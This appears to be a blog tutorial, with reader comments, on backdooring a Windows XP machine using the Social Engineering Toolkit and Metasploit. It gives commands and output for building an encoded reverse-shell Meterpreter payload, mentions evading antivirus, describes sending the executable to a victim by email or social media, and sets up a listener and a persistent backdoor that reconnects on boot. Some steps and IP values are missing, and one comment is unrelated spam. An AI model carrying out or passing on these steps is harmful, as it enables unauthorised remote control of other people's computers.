Install Backdoor in Windows XP using Metasploit in Kali Linux

We have the following scenario:

Victim (Windows XP Machine) IP Address:

Attacker (Kali Linux Machine)     IP Address:

We will use Social Engineering Toolkit in Kali Linux to generate a malicious executable payload that, when made to run at the Windows XP machine,will get the attacker complete access of the victim's machine. Then the attacker will use Metasploit to install a permanent backdoor on the victim machine.

We will perform the following steps:
1) Create malicious payload
2) Give the payload to the Victim.
3) Create listener (for the payload) on the Attacker on port 443.
4) When the user executes the payload, the Victim connects to the Attacker on port 443.
5) Escalate privilege to Windows user SYSTEM.
6) Install backdoor on the Victim.
7) Create listener (for the backdoor) on the Attacker on port 80.
8) Whenever the Victim boots, it automatically connects to the Attacker.

Perform the following steps on the Attacker (Kali Linux) Machine:

1) Create malicious executable payload.
1.1) Start Social Engineering Toolkit.
root@kali:~# setoolkit

1.2) Select option 1) Social Engineering Attacks
set> 1

1.3) Select option   4) Create a Payload and Listener
set> 4
set:payloads> Enter the IP address for the payload (reverse):

What payload do you want to generate:

  Name:                                       Description:

   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Bind Shell                      Execute payload and create an accepting port on remote system


Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.

   1) shikata_ga_nai
   2) No Encoding
   3) Multi-Encoder
   4) Backdoored Executable

set:payloads> PORT of the listener [443]:
[-] Encoding the payload 4 times. [-]

[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 395 (iteration=4)

[*] Your payload is now in the root directory of SET as payload.exe
[-] The payload can be found in the SET home directory.
set> Start the listener now? [yes|no]: no

2) We need to send this payload file  /usr/share/set/payload.exe to the Victim using social media, e-mail, uploading at a server, or any other type of choice.

3) Set up a handler on the Attacker machine using Metasploit.
3.1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

3.2) Start metasploit console.
root@kali:~# msfconsole
msf >

3.3) Select exploit.
msf > use exploit/multi/handler
3.4) Select payload.
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

3.5) View options
msf exploit(handler) > show options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

3.6) Set options
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 443
LPORT => 443

3.7) Execute exploit
msf exploit(handler) > exploit

[*] Started reverse handler on
[*] Starting the payload handler...

4) As soon as the victim runs the executable file, the payload will make a connection to the attacker system, giving the attacker complete control of the victim machine.

6) Install backdoor on the victim machine.

    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)

    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu

    -p <opt>  The port on the remote host where Metasploit is listening

  2. Sadly, Windows 8 was not the success Microsoft had hoped for, with many users complaining about the huge departure away from familiar xp iso

  3. does the msf know the already generated payload from SET ?
    payload generated by SET sent to the victim and the session is opened in msf ???
